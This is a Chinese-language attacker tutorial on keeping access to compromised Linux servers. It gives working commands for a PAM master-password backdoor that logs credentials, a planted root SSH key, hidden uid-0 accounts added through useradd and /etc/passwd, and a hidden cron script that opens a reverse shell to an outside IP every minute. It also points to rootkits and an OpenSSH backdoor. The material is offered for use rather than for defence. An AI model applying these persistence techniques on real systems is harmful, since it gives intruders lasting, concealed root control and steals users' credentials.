目录
前言
上面我们讲了windows权限维持的方法 —> Windows权限维持方法 ,以及当我们拿到一台linux机器时,如何隐藏我们的踪迹 —> Linux权限维持—隐藏踪迹,这里我们讲述下如何植入后门来维持我们获取的权限。
rookit后门
介绍
Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。
rootkit是linux平台下最常见的一种木马后门工具,它主要是通过替换系统文件来达到入侵和隐藏的目的。rootkit主要分为文件级别的和内核级别的
- 文件级别:一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。
- 内核级别:是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。
常用的rookit后门工具有Reptile、mafix
Reptile
Reptile是一款rookit后门工具。项目地址:GitHub - Reptile。使用方法可参考:Reptile 一款LKM Linux rootkit后门使用教程 - 3HACK
工具虽然很强大,但是该工具在新的linux下系统不能使用,由于内核问题。本人还觉得其设置过于复杂,连接需要填入的参数过多,并不方便使用。
PAM后门
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证
简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持
利用方法:
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。
参考:https://xz.aliyun.com/t/7902
ssh公私钥免密登录
创建秘钥对,然后将公钥上传到拿下的服务器中,实现root账号免密登录
1. 生成ssh秘钥对
ssh-keygen -t rsa
保存路径输入 ./id_rsa ,保存到当前路径。接着再按两次回车
2. 将id_rsa.pub公钥上传到服务中
3. 将公钥写入到authorized_keys文件中
mkdir /root/.ssh && touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/
4. 配置允许使用秘钥登录
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
5. ssh秘钥登录
ssh -i id_rsa root@192.168.110.131
成功实现秘钥登录
添加linux账户
目标:添加一个uid为0的账号,linux中超级管理员root的uid为0,这里我们再添加一个uid为0的账号
使用useradd添加
#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
执行后则
#/etc/passwd
test1:x:0:0::/home/test1:/bin/bash
#/etc/shadow
test1:$1$salt$638tR8bROOvPnPklDQ9Vf/:19129:0:99999:7:::
远程连接,权限为root
直接写入/etc/passwd
1. 首先,使用perl语言(Linux自带)生成带有盐值的密码:
perl -le 'print crypt("123456","addedsalt")'
2. 添加test2账号,密码设置为123456
echo "test2:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
计划任务
使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。
1. 创建反弹shell脚本,vim /etc/.evil.sh
#!/bin/bash
bash -i >& /dev/tcp/39.100.xx.xx/80 0>&1
并加上执行权限
chmod +x /etc/.evil.sh
2. 添加计划任务
我们可以使用crontab -e或者vim /etc/crontab添加计划任务
#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab
设置定时任务为每分钟执行一次
#每一分钟执行一次
*/1 * * * * root /etc/.evil.sh
3. 重启cron
service cron restart
然后就可以接收反弹shell
openssh后门万能密码
通过修改SSH源代码的方式来留一个万能的SSH密码。参考:SSH后门万能密码 - 墨鱼菜鸡 - 博客园
方法还有很多~~